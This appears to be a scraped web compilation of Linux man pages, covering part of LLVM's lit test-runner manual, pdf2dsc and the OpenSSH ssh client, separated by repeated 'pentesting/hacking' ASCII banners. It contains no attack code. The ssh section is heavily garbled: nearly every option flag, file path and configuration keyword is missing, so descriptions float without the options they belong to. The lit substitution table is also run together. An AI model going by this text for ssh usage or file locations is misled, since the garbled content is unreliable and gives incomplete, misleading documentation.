As described in TEST DISCOVERY, tests are always located inside a test suite. Test suites serve to define the format of the tests they contain, the logic for finding those tests, and any additional information to run the tests.

lit identifies test suites as directories containing lit.cfg or lit.site.cfg files (see also –config-prefix). Test suites are initially discovered by recursively searching up the directory hierarchy for all the input files passed on the command line. You can use –show-suites to display the discovered test suites at startup.

Once a test suite is discovered, its config file is loaded. Config files themselves are Python modules which will be executed. When the config file is executed, two important global variables are predefined:

lit_config

The global lit configuration object (a LitConfig instance), which defines the builtin test formats, global configuration parameters, and other helper routines for implementing test configurations.

config

This is the config object (a TestingConfig instance) for the test suite, which the config file is expected to populate. The following variables are also available on the config object, some of which must be set by the config and others are optional or predefined:

name [required] The name of the test suite, for use in reports and diagnostics.

test_format [required] The test format object which will be used to discover and run tests in the test suite. Generally this will be a builtin test format available from the lit.formats module.

test_source_root The filesystem path to the test suite root. For out-of-dir builds this is the directory that will be scanned for tests.

test_exec_root For out-of-dir builds, the path to the test suite root inside the object directory. This is where tests will be run and temporary output files placed.

environment A dictionary representing the environment to use when executing tests in the suite.

standalone_tests When true, mark a directory with tests expected to be run standalone. Test discovery is disabled for that directory and –no-indirectly-run-check is in effect. lit.suffixes and lit.excludes must be empty when this variable is true.

suffixes For lit test formats which scan directories for tests, this variable is a list of suffixes to identify test files. Used by: ShTest.

substitutions For lit test formats which substitute variables into a test script, the list of substitutions to perform. Used by: ShTest.

unsupported Mark an unsupported directory, all tests within it will be reported as unsupported. Used by: ShTest.

parent The parent configuration, this is the config object for the directory containing the test suite, or None.

root The root configuration. This is the top-most lit configuration in the project.

pipefail Normally a test using a shell pipe fails if any of the commands on the pipe fail. If this is not desired, setting this variable to false makes the test fail only if the last command in the pipe fails.

available_features A set of features that can be used in XFAIL, REQUIRES, and UNSUPPORTED directives.

TEST DISCOVERY

Once test suites are located, lit recursively traverses the source directory (following test_source_root) looking for tests. When lit enters a sub-directory, it first checks to see if a nested test suite is defined in that directory. If so, it loads that test suite recursively, otherwise it instantiates a local test config for the directory (see LOCAL CONFIGURATION FILES).

Tests are identified by the test suite they are contained within, and the relative path inside that suite. Note that the relative path may not refer to an actual file on disk; some test formats (such as GoogleTest) define “virtual tests” which have a path that contains both the path to the actual test file and a subpath to identify the virtual test.

LOCAL CONFIGURATION FILES

When lit loads a subdirectory in a test suite, it instantiates a local test configuration by cloning the configuration for the parent directory — the root of this configuration chain will always be a test suite. Once the test configuration is cloned lit checks for a lit.local.cfg file in the subdirectory. If present, this file will be loaded and can be used to specialize the configuration for each individual directory. This facility can be used to define subdirectories of optional tests, or to change other configuration parameters — for example, to change the test format, or the suffixes which identify test files.

SUBSTITUTIONS

lit allows patterns to be substituted inside RUN commands. It also provides the following base set of substitutions, which are defined in TestRunner.py:

_
MacroSubstitution
_
%ssource path (path to the file currently being run)
_
%Ssource dir (directory of the file currently being run)
_
%psame as %S
_
%{pathsep}path separator
_
%{fs-src-root}root component of file system paths pointing to the LLVM checkout
_
%{fs-tmp-root}root component of file system paths pointing to the test’s temporary directory
_
%{fs-sep}file system path separator
_
%ttemporary file name unique to the test
_
%basename_tThe last path component of %t but without the .tmp extension
_
%Tparent directory of %t (not unique, deprecated, do not use)
_
%%%
_
%/s%s but \ is replaced by /
_
%/S%S but \ is replaced by /
_
%/p%p but \ is replaced by /
_
%/t%t but \ is replaced by /
_
%/T%T but \ is replaced by /
_
%{/s:regex_replacement}%/s but escaped for use in the replacement of a s@@@ command in sed
_
%{/S:regex_replacement}%/S but escaped for use in the replacement of a s@@@ command in sed
_
%{/p:regex_replacement}%/p but escaped for use in the replacement of a s@@@ command in sed
_
%{/t:regex_replacement}%/t but escaped for use in the replacement of a s@@@ command in sed
_
%{/T:regex_replacement}%/T but escaped for use in the replacement of a s@@@ command in sed
_
%:sOn Windows, %/s but a : is removed if its the second character. Otherwise, %s but with a single leading / removed.
_
%:SOn Windows, %/S but a : is removed if its the second character. Otherwise, %S but with a single leading / removed.
_
%:pOn Windows, %/p but a : is removed if its the second character. Otherwise, %p but with a single leading / removed.
_
%:tOn Windows, %/t but a : is removed if its the second character. Otherwise, %t but with a single leading / removed.
_
%:TOn Windows, %/T but a : is removed if its the second character. Otherwise, %T but with a single leading / removed.
_

Other substitutions are provided that are variations on this base set and further substitution patterns can be defined by each test module. See the modules LOCAL CONFIGURATION FILES.

More detailed information on substitutions can be found in the LLVM Testing Infrastructure Guide.

TEST RUN OUTPUT FORMAT

The lit output for a test run conforms to the following schema, in both short and verbose modes (although in short mode no PASS lines will be shown). This schema has been chosen to be relatively easy to reliably parse by a machine (for example in buildbot log scraping), and for other tools to generate.

Each test result is expected to appear on a line that matches:

: ()

where <result-code> is a standard test result such as PASS, FAIL, XFAIL, XPASS, UNRESOLVED, or UNSUPPORTED. The performance result codes of IMPROVED and REGRESSED are also allowed.

The <test name> field can consist of an arbitrary string containing no newline.

The <progress info> field can be used to report progress information such as (1/300) or can be empty, but even when empty the parentheses are required.

Each test result may include additional (multiline) log information in the following format:

TEST ‘()’ … log message …

where <test name> should be the name of a preceding reported test, <log delineator> is a string of “*” characters at least four characters long (the recommended length is 20), and <trailing delineator> is an arbitrary (unparsed) string.

The following is an example of a test run output which consists of four tests A, B, C, and D, and a log message for the failing test C:

PASS: A (1 of 4) PASS: B (2 of 4) FAIL: C (3 of 4) ******************** TEST ‘C’ FAILED ******************** Test ‘C’ failed as a result of exit code 1. ******************** PASS: D (4 of 4)

LIT EXAMPLE TESTS

The lit distribution contains several example implementations of test suites in the ExampleTests directory.

SEE ALSO

valgrind(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

219 - Linux cli command pdf2dsc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdf2dsc and provides detailed information about the command pdf2dsc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdf2dsc.

NAME 🖥️ pdf2dsc 🖥️

generate a PostScript page list of a PDF document

SYNOPSIS

pdf2dsc input.pdf [ output.dsc ]

DESCRIPTION

pdf2dsc uses gs(1) to read an Adobe Portable Document Format (PDF) document “input.pdf” and create a PostScript(tm) document “output.dsc” that conforms to Adobe’s Document Structuring Conventions (DSC) requirements.

This new document simply tells Ghostscript to read the PDF file and to display pages one at a time. The generated document can then be viewed with any PostScript viewer based on Ghostscript, like ghostview(1) on Unix or GSview on Windows, with which the user can browse through the pages of the PDF document in any order.

If no output file is named on the command line, the name of the output file is that of the input file with any extension removed, followed by the extension “.dsc”.

CAVEATS

The DSC document uses Ghostscript-specific procedures. In addition, the original PDF document must be accessible when the DSC document is processed.

You need the file “pdf2dsc.ps” (originally by Russell Lang) supplied with Ghostscript since release 3.53.

SEE ALSO

gs(1), ghostview(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Yves Arrouye <[email protected]> and Russell Lang gsview at ghostgum.com.au

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

220 - Linux cli command ssh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ssh and provides detailed information about the command ssh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ssh.

(SSH client) is a program for logging into a remote machine and for executing commands on a remote machine. It is intended to provide secure encrypted communications between two untrusted hosts over an insecure network. X11 connections, arbitrary TCP ports and

sockets can also be forwarded over the secure channel.

connects and logs into the specified

which may be specified as either

or a URI of the form

The user must prove their identity to the remote machine using one of several methods (see below).

If a

is specified, it will be executed on the remote host instead of a login shell. A complete command line may be specified as

or it may have additional arguments. If supplied, the arguments will be appended to the command, separated by spaces, before it is sent to the server to be executed.

The options are as follows:

Forces

to use IPv4 addresses only.

Forces

to use IPv6 addresses only.

Enables forwarding of connections from an authentication agent such as

This can also be specified on a per-host basis in a configuration file.

Agent forwarding should be enabled with caution. Users with the ability to bypass file permissions on the remote host (for the agent’s

socket) can access the local agent through the forwarded connection. An attacker cannot obtain key material from the agent, however they can perform operations on the keys that enable them to authenticate using the identities loaded into the agent. A safer alternative may be to use a jump host (see

Disables forwarding of the authentication agent connection.

Bind to the address of

before attempting to connect to the destination host. This is only useful on systems with more than one address.

Use

on the local machine as the source address of the connection. Only useful on systems with more than one address.

Requests compression of all data (including stdin, stdout, stderr, and data for forwarded X11, TCP and

connections). The compression algorithm is the same used by

Compression is desirable on modem lines and other slow connections, but will only slow down things on fast networks. The default value can be set on a host-by-host basis in the configuration files; see the

option in

Selects the cipher specification for encrypting the session.

is a comma-separated list of ciphers listed in order of preference. See the

keyword in

for more information.

Specifies a local

application-level port forwarding. This works by allocating a socket to listen to

on the local side, optionally bound to the specified

Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine. Currently the SOCKS4 and SOCKS5 protocols are supported, and

will act as a SOCKS server. Only root can forward privileged ports. Dynamic port forwardings can also be specified in the configuration file.

IPv6 addresses can be specified by enclosing the address in square brackets. Only the superuser can forward privileged ports. By default, the local port is bound in accordance with the

setting. However, an explicit

may be used to bind the connection to a specific address. The

of

indicates that the listening port be bound for local use only, while an empty address or

indicates that the port should be available from all interfaces.

Append debug logs to

instead of standard error.

Sets the escape character for sessions with a pty (default:

The escape character is only recognized at the beginning of a line. The escape character followed by a dot

closes the connection; followed by control-Z suspends the connection; and followed by itself sends the escape character once. Setting the character to

disables any escapes and makes the session fully transparent.

Specifies an alternative per-user configuration file. If a configuration file is given on the command line, the system-wide configuration file

will be ignored. The default for the per-user configuration file is

If set to

no configuration files will be read.

Requests

to go to background just before command execution. This is useful if

is going to ask for passwords or passphrases, but the user wants it in the background. This implies

The recommended way to start X11 programs at a remote site is with something like

If the

configuration option is set to

then a client started with

will wait for all remote port forwards to be successfully established before placing itself in the background. Refer to the description of

in

for details.

Causes

to print its configuration after evaluating

and

blocks and exit.

Allows remote hosts to connect to local forwarded ports. If used on a multiplexed connection, then this option must be specified on the master process.

Specify the PKCS#11 shared library

should use to communicate with a PKCS#11 token providing keys for user authentication.

Selects a file from which the identity (private key) for public key authentication is read. You can also specify a public key file to use the corresponding private key that is loaded in

when the private key file is not present locally. The default is

and

Identity files may also be specified on a per-host basis in the configuration file. It is possible to have multiple

options (and multiple identities specified in configuration files). If no certificates have been explicitly specified by the

directive,

will also try to load certificate information from the filename obtained by appending

to identity filenames.

Connect to the target host by first making an

connection to the jump host described by

and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. This is a shortcut to specify a

configuration directive. Note that configuration directives supplied on the command-line generally apply to the destination host and not any specified jump hosts. Use

to specify configuration for jump hosts.

Enables GSSAPI-based authentication and forwarding (delegation) of GSSAPI credentials to the server.

Disables forwarding (delegation) of GSSAPI credentials to the server.

Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side. This works by allocating a socket to listen to either a TCP

on the local side, optionally bound to the specified

or to a Unix socket. Whenever a connection is made to the local port or socket, the connection is forwarded over the secure channel, and a connection is made to either

port

or the Unix socket

from the remote machine.

Port forwardings can also be specified in the configuration file. Only the superuser can forward privileged ports. IPv6 addresses can be specified by enclosing the address in square brackets.

By default, the local port is bound in accordance with the

setting. However, an explicit

may be used to bind the connection to a specific address. The

of

indicates that the listening port be bound for local use only, while an empty address or

indicates that the port should be available from all interfaces.

Specifies the user to log in as on the remote machine. This also may be specified on a per-host basis in the configuration file.

Places the

client into

mode for connection sharing. Multiple

options places

into

mode but with confirmation required using

before each operation that changes the multiplexing state (e.g. opening a new session). Refer to the description of

in

for details.

A comma-separated list of MAC (message authentication code) algorithms, specified in order of preference. See the

keyword in

for more information.

Do not execute a remote command. This is useful for just forwarding ports. Refer to the description of

in

for details.

Redirects stdin from

(actually, prevents reading from stdin). This must be used when

is run in the background. A common trick is to use this to run X11 programs on a remote machine. For example,

will start an emacs on shadows.cs.hut.fi, and the X11 connection will be automatically forwarded over an encrypted channel. The

program will be put in the background. (This does not work if

needs to ask for a password or passphrase; see also the

option.) Refer to the description of

in

for details.

Control an active connection multiplexing master process. When the

option is specified, the

argument is interpreted and passed to the master process. Valid commands are:

(check that the master process is running),

(request forwardings without command execution),

(cancel forwardings),

(request the master to exit), and

(request the master to stop accepting further multiplexing requests).

Can be used to give options in the format used in the configuration file. This is useful for specifying options for which there is no separate command-line flag. For full details of the options listed below, and their possible values, see

Specify a tag name that may be used to select configuration in

Refer to the

and

keywords in

for more information.

Port to connect to on the remote host. This can be specified on a per-host basis in the configuration file.

Queries for the algorithms supported by one of the following features:

(supported symmetric ciphers),

(supported symmetric ciphers that support authenticated encryption),

(supported query terms for use with the

flag),

(supported message integrity codes),

(key exchange algorithms),

(GSSAPI key exchange algorithms),

(key types),

(valid CA signature algorithms for certificates),

(certificate key types),

(non-certificate key types),

(all key types and signature algorithms),

(supported SSH protocol versions), and

(supported signature algorithms). Alternatively, any keyword from

or

that takes an algorithm list may be used as an alias for the corresponding query_option.

Quiet mode. Causes most warning and diagnostic messages to be suppressed.

Specifies that connections to the given TCP port or Unix socket on the remote (server) host are to be forwarded to the local side.

This works by allocating a socket to listen to either a TCP

or to a Unix socket on the remote side. Whenever a connection is made to this port or Unix socket, the connection is forwarded over the secure channel, and a connection is made from the local machine to either an explicit destination specified by

port

or

or, if no explicit destination was specified,

will act as a SOCKS 4/5 proxy and forward connections to the destinations requested by the remote SOCKS client.

Port forwardings can also be specified in the configuration file. Privileged ports can be forwarded only when logging in as root on the remote machine. IPv6 addresses can be specified by enclosing the address in square brackets.

By default, TCP listening sockets on the server will be bound to the loopback interface only. This may be overridden by specifying a

An empty

or the address

indicates that the remote socket should listen on all interfaces. Specifying a remote

will only succeed if the server’s

option is enabled (see

If the

argument is

the listen port will be dynamically allocated on the server and reported to the client at run time. When used together with

the allocated port will be printed to the standard output.

Specifies the location of a control socket for connection sharing, or the string

to disable connection sharing. Refer to the description of

and

in

for details.

May be used to request invocation of a subsystem on the remote system. Subsystems facilitate the use of SSH as a secure transport for other applications (e.g.

The subsystem is specified as the remote command. Refer to the description of

in

for details.

Disable pseudo-terminal allocation.

Force pseudo-terminal allocation. This can be used to execute arbitrary screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services. Multiple

options force tty allocation, even if

has no local tty.

Display the version number and exit.

Verbose mode. Causes

to print debugging messages about its progress. This is helpful in debugging connection, authentication, and configuration problems. Multiple

options increase the verbosity. The maximum is 3.

Requests that standard input and output on the client be forwarded to

on

over the secure channel. Implies

and

though these can be overridden in the configuration file or using

command line options.

Requests tunnel device forwarding with the specified

devices between the client

and the server

The devices may be specified by numerical ID or the keyword

which uses the next available tunnel device. If

is not specified, it defaults to

See also the

and

directives in

If the

directive is unset, it will be set to the default tunnel mode, which is

If a different

forwarding mode it desired, then it should be specified before

Enables X11 forwarding. This can also be specified on a per-host basis in a configuration file.

X11 forwarding should be enabled with caution. Users with the ability to bypass file permissions on the remote host (for the user’s X authorization database) can access the local X11 display through the forwarded connection. An attacker may then be able to perform activities such as keystroke monitoring.

For this reason, X11 forwarding is subjected to X11 SECURITY extension restrictions by default. Refer to the

option and the

directive in

for more information.

(Debian-specific: X11 forwarding is not subjected to X11 SECURITY extension restrictions by default, because too many programs currently crash in this mode. Set the

option to

to restore the upstream behaviour. This may change in future depending on client-side improvements.)

Disables X11 forwarding.

Enables trusted X11 forwarding. Trusted X11 forwardings are not subjected to the X11 SECURITY extension controls.

(Debian-specific: In the default configuration, this option is equivalent to

since

defaults to

as described above. Set the

option to

to restore the upstream behaviour. This may change in future depending on client-side improvements.)

Send log information using the

system module. By default this information is sent to stderr.

may additionally obtain configuration data from a per-user configuration file and a system-wide configuration file. The file format and configuration options are described in

The OpenSSH SSH client supports SSH protocol 2.

The methods available for authentication are: GSSAPI-based authentication, host-based authentication, public key authentication, keyboard-interactive authentication, and password authentication. Authentication methods are tried in the order specified above, though

can be used to change the default order.

Host-based authentication works as follows: If the machine the user logs in from is listed in

or

on the remote machine, the user is non-root and the user names are the same on both sides, or if the files

or

exist in the user’s home directory on the remote machine and contain a line containing the name of the client machine and the name of the user on that machine, the user is considered for login. Additionally, the server

be able to verify the client’s host key (see the description of

and

below) for login to be permitted. This authentication method closes security holes due to IP spoofing, DNS spoofing, and routing spoofing. [Note to the administrator:

and the rlogin/rsh protocol in general, are inherently insecure and should be disabled if security is desired.]

Public key authentication works as follows: The scheme is based on public-key cryptography, using cryptosystems where encryption and decryption are done using separate keys, and it is unfeasible to derive the decryption key from the encryption key. The idea is that each user creates a public/private key pair for authentication purposes. The server knows the public key, and only the user knows the private key.

implements public key authentication protocol automatically, using one of the DSA, ECDSA, Ed25519 or RSA algorithms. The HISTORY section of

(on non-OpenBSD systems, see

http://www.openbsd.org/cgi-bin/man.cgi?query=ssl&sektion=8#HISTORY)

contains a brief discussion of the DSA and RSA algorithms.

The file

lists the public keys that are permitted for logging in. When the user logs in, the

program tells the server which key pair it would like to use for authentication. The client proves that it has access to the private key and the server checks that the corresponding public key is authorized to accept the account.

The server may inform the client of errors that prevented public key authentication from succeeding after authentication completes using a different method. These may be viewed by increasing the

to

or higher (e.g. by using the

flag).

The user creates their key pair by running

This stores the private key in

(DSA),

(ECDSA),

(authenticator-hosted ECDSA),

(Ed25519),

(authenticator-hosted Ed25519), or

(RSA) and stores the public key in

(DSA),

(ECDSA),

(authenticator-hosted ECDSA),

(Ed25519),

(authenticator-hosted Ed25519), or

(RSA) in the user’s home directory. The user should then copy the public key to

in their home directory on the remote machine. The

file corresponds to the conventional

file, and has one key per line, though the lines can be very long. After this, the user can log in without giving the password.

A variation on public key authentication is available in the form of certificate authentication: instead of a set of public/private keys, signed certificates are used. This has the advantage that a single trusted certification authority can be used in place of many public/private keys. See the CERTIFICATES section of

for more information.

The most convenient way to use public key or certificate authentication may be with an authentication agent. See

and (optionally) the

directive in

for more information.

Keyboard-interactive authentication works as follows: The server sends an arbitrary

text and prompts for a response, possibly multiple times. Examples of keyboard-interactive authentication include

Authentication (see

and PAM (some

systems).

Finally, if other authentication methods fail,

prompts the user for a password. The password is sent to the remote host for checking; however, since all communications are encrypted, the password cannot be seen by someone listening on the network.

automatically maintains and checks a database containing identification for all hosts it has ever been used with. Host keys are stored in

in the user’s home directory. Additionally, the file

is automatically checked for known hosts. Any new hosts are automatically added to the user’s file. If a host’s identification ever changes,

warns about this and disables password authentication to prevent server spoofing or man-in-the-middle attacks, which could otherwise be used to circumvent the encryption. The

option can be used to control logins to machines whose host key is not known or has changed.

When the user’s identity has been accepted by the server, the server either executes the given command in a non-interactive session or, if no command has been specified, logs into the machine and gives the user a normal shell as an interactive session. All communication with the remote command or shell will be automatically encrypted.

If an interactive session is requested,

by default will only request a pseudo-terminal (pty) for interactive sessions when the client has one. The flags

and

can be used to override this behaviour.

If a pseudo-terminal has been allocated, the user may use the escape characters noted below.

If no pseudo-terminal has been allocated, the session is transparent and can be used to reliably transfer binary data. On most systems, setting the escape character to

will also make the session transparent even if a tty is used.

The session terminates when the command or shell on the remote machine exits and all X11 and TCP connections have been closed.

When a pseudo-terminal has been requested,

supports a number of functions through the use of an escape character.

A single tilde character can be sent as

or by following the tilde by a character other than those described below. The escape character must always follow a newline to be interpreted as special. The escape character can be changed in configuration files using the

configuration directive or on the command line by the

option.

The supported escapes (assuming the default

are:

Disconnect.

Background

List forwarded connections.

Background

at logout when waiting for forwarded connection / X11 sessions to terminate.

Display a list of escape characters.

Send a BREAK to the remote system (only useful if the peer supports it).

Open command line. Currently this allows the addition of port forwardings using the

and

options (see above). It also allows the cancellation of existing port-forwardings with

for local,

for remote and

for dynamic port-forwardings.

allows the user to execute a local command if the

option is enabled in

Basic help is available, using the

option.

Request rekeying of the connection (only useful if the peer supports it).

Decrease the verbosity

when errors are being written to stderr.

Increase the verbosity

when errors are being written to stderr.

Forwarding of arbitrary TCP connections over a secure channel can be specified either on the command line or in a configuration file. One possible application of TCP forwarding is a secure connection to a mail server; another is going through firewalls.

In the example below, we look at encrypting communication for an IRC client, even though the IRC server it connects to does not directly support encrypted communication. This works as follows: the user connects to the remote host using

specifying the ports to be used to forward the connection. After that it is possible to start the program locally, and

will encrypt and forward the connection to the remote server.

The following example tunnels an IRC session from the client to an IRC server at

joining channel

nickname

using the standard IRC port, 6667:

$ ssh -f -L 6667:localhost:6667 server.example.com sleep 10 $ irc -c ‘#users’ pinky IRC/127.0.0.1

The

option backgrounds

and the remote command

is specified to allow an amount of time (10 seconds, in the example) to start the program which is going to use the tunnel. If no connections are made within the time specified,

will exit.

If the

variable is set to

(or see the description of the

and

options above) and the user is using X11 (the

environment variable is set), the connection to the X11 display is automatically forwarded to the remote side in such a way that any X11 programs started from the shell (or command) will go through the encrypted channel, and the connection to the real X server will be made from the local machine. The user should not manually set

Forwarding of X11 connections can be configured on the command line or in configuration files.

The

value set by

will point to the server machine, but with a display number greater than zero. This is normal, and happens because

creates a

X server on the server machine for forwarding the connections over the encrypted channel.

will also automatically set up Xauthority data on the server machine. For this purpose, it will generate a random authorization cookie, store it in Xauthority on the server, and verify that any forwarded connections carry this cookie and replace it by the real cookie when the connection is opened. The real authentication cookie is never sent to the server machine (and no cookies are sent in the plain).

If the

variable is set to

(or see the description of the

and

options above) and the user is using an authentication agent, the connection to the agent is automatically forwarded to the remote side.

When connecting to a server for the first time, a fingerprint of the server’s public key is presented to the user (unless the option

has been disabled). Fingerprints can be determined using

If the fingerprint is already known, it can be matched and the key can be accepted or rejected. If only legacy (MD5) fingerprints for the server are available, the

option may be used to downgrade the fingerprint algorithm to match.

Because of the difficulty of comparing host keys just by looking at fingerprint strings, there is also support to compare host keys visually, using

By setting the

option to

a small ASCII graphic gets displayed on every login to a server, no matter if the session itself is interactive or not. By learning the pattern a known server produces, a user can easily find out that the host key has changed when a completely different pattern is displayed. Because these patterns are not unambiguous however, a pattern that looks similar to the pattern remembered only gives a good probability that the host key is the same, not guaranteed proof.

To get a listing of the fingerprints along with their random art for all known hosts, the following command line can be used:

If the fingerprint is unknown, an alternative method of verification is available: SSH fingerprints verified by DNS. An additional resource record (RR), SSHFP, is added to a zonefile and the connecting client is able to match the fingerprint with that of the key presented.

In this example, we are connecting a client to a server,

The SSHFP resource records should first be added to the zonefile for host.example.com:

$ ssh-keygen -r host.example.com.

The output lines will have to be added to the zonefile. To check that the zone is answering fingerprint queries:

Finally the client connects:

$ ssh -o “VerifyHostKeyDNS ask” host.example.com […] Matching host key fingerprint found in DNS. Are you sure you want to continue connecting (yes/no)?

See the

option in

for more information.

contains support for Virtual Private Network (VPN) tunnelling using the

network pseudo-device, allowing two networks to be joined securely. The

configuration option

controls whether the server supports this, and at what level (layer 2 or 3 traffic).

The following example would connect client network 10.0.50.0/24 with remote network 10.0.99.0/24 using a point-to-point connection from 10.1.1.1 to 10.1.1.2, provided that the SSH server running on the gateway to the remote network, at 192.168.1.15, allows it.

On the client:

# ssh -f -w 0:1 192.168.1.15 true # ifconfig tun0 10.1.1.1 10.1.1.2 netmask 255.255.255.252 # route add 10.0.99.0/24 10.1.1.2

On the server:

# ifconfig tun1 10.1.1.2 10.1.1.1 netmask 255.255.255.252 # route add 10.0.50.0/24 10.1.1.1

Client access may be more finely tuned via the

file (see below) and the

server option. The following entry would permit connections on

device 1 from user

and on tun device 2 from user

if

is set to

tunnel=“1”,command=“sh /etc/netstart tun1” ssh-rsa … jane tunnel=“2”,command=“sh /etc/netstart tun2” ssh-rsa … john

Since an SSH-based setup entails a fair amount of overhead, it may be more suited to temporary setups, such as for wireless VPNs. More permanent VPNs are better provided by tools such as

and

will normally set the following environment variables:

The

variable indicates the location of the X11 server. It is automatically set by

to point to a value of the form

where

indicates the host where the shell runs, and

is an integer 1.

uses this special value to forward X11 connections over the secure channel. The user should normally not set

explicitly, as that will render the X11 connection insecure (and will require the user to manually copy any required authorization cookies).

Set to the path of the user’s home directory.

Synonym for

set for compatibility with systems that use this variable.

Set to the path of the user’s mailbox.

Set to the default

as specified when compiling

If

needs a passphrase, it will read the passphrase from the current terminal if it was run from a terminal. If

does not have a terminal associated with it but

and

are set, it will execute the program specified by

and open an X11 window to read the passphrase. This is particularly useful when calling

from a

or related script. (Note that on some machines it may be necessary to redirect the input from

to make this work.)

Allows further control over the use of an askpass program. If this variable is set to

then

will never attempt to use one. If it is set to

then

will prefer to use the askpass program instead of the TTY when requesting passwords. Finally, if the variable is set to

then the askpass program will be used for all passphrase input regardless of whether

is set.

Identifies the path of a

socket used to communicate with the agent.

Identifies the client and server ends of the connection. The variable contains four space-separated values: client IP address, client port number, server IP address, and server port number.

This variable contains the original command line if a forced command is executed. It can be used to extract the original arguments.

This is set to the name of the tty (path to the device) associated with the current shell or command. If the current session has no tty, this variable is not set.

Optionally set by

to contain the interface names assigned if tunnel forwarding was requested by the client.

Optionally set by

this variable may contain a pathname to a file that lists the authentication methods successfully used when the session was established, including any public keys that were used.

This variable is set to indicate the present time zone if it was set when the daemon was started (i.e. the daemon passes the value on to new connections).

Set to the name of the user logging in.

Additionally,

reads

and adds lines of the format

to the environment if the file exists and users are allowed to change their environment. For more information, see the

option in

This file is used for host-based authentication (see above). On some machines this file may need to be world-readable if the user’s home directory is on an NFS partition, because

reads it as root. Additionally, this file must be owned by the user, and must not have write permissions for anyone else. The recommended permission for most machines is read/write for the user, and not accessible by others.

This file is used in exactly the same way as

but allows host-based authentication without permitting login with rlogin/rsh.

This directory is the default location for all user-specific configuration and authentication information. There is no general requirement to keep the entire contents of this directory secret, but the recommended permissions are read/write/execute for the user, and not accessible by others.

Lists the public keys (DSA, ECDSA, Ed25519, RSA) that can be used for logging in as this user. The format of this file is described in the

manual page. This file is not highly sensitive, but the recommended permissions are read/write for the user, and not accessible by others.

This is the per-user configuration file. The file format and configuration options are described in

Because of the potential for abuse, this file must have strict permissions: read/write for the user, and not writable by others. It may be group-writable provided that the group in question contains only the user.

Contains additional definitions for environment variables; see

above.

Contains the private key for authentication. These files contain sensitive data and should be readable by the user but not accessible by others (read/write/execute).

will simply ignore a private key file if it is accessible by others. It is possible to specify a passphrase when generating the key which will be used to encrypt the sensitive part of this file using AES-128.

Contains the public key for authentication. These files are not sensitive and can (but need not) be readable by anyone.

Contains a list of host keys for all hosts the user has logged into that are not already in the systemwide list of known host keys. See

for further details of the format of this file.

Commands in this file are executed by

when the user logs in, just before the user’s shell (or command) is started. See the

manual page for more information.

This file is for host-based authentication (see above). It should only be writable by root.

This file is used in exactly the same way as

but allows host-based authentication without permitting login with rlogin/rsh.

Systemwide configuration file. The file format and configuration options are described in

These files contain the private parts of the host keys and are used for host-based authentication.

Systemwide list of known host keys. This file should be prepared by the system administrator to contain the public host keys of all machines in the organization. It should be world-readable. See

for further details of the format of this file.

Commands in this file are executed by

when the user logs in, just before the user’s shell (or command) is started. See the

manual page for more information.

exits with the exit status of the remote command or with 255 if an error occurred.

OpenSSH is a derivative of the original and free ssh 1.2.12 release by Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo de Raadt and Dug Song removed many bugs, re-added newer features and created OpenSSH. Markus Friedl contributed the support for SSH protocol versions 1.5 and 2.0.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
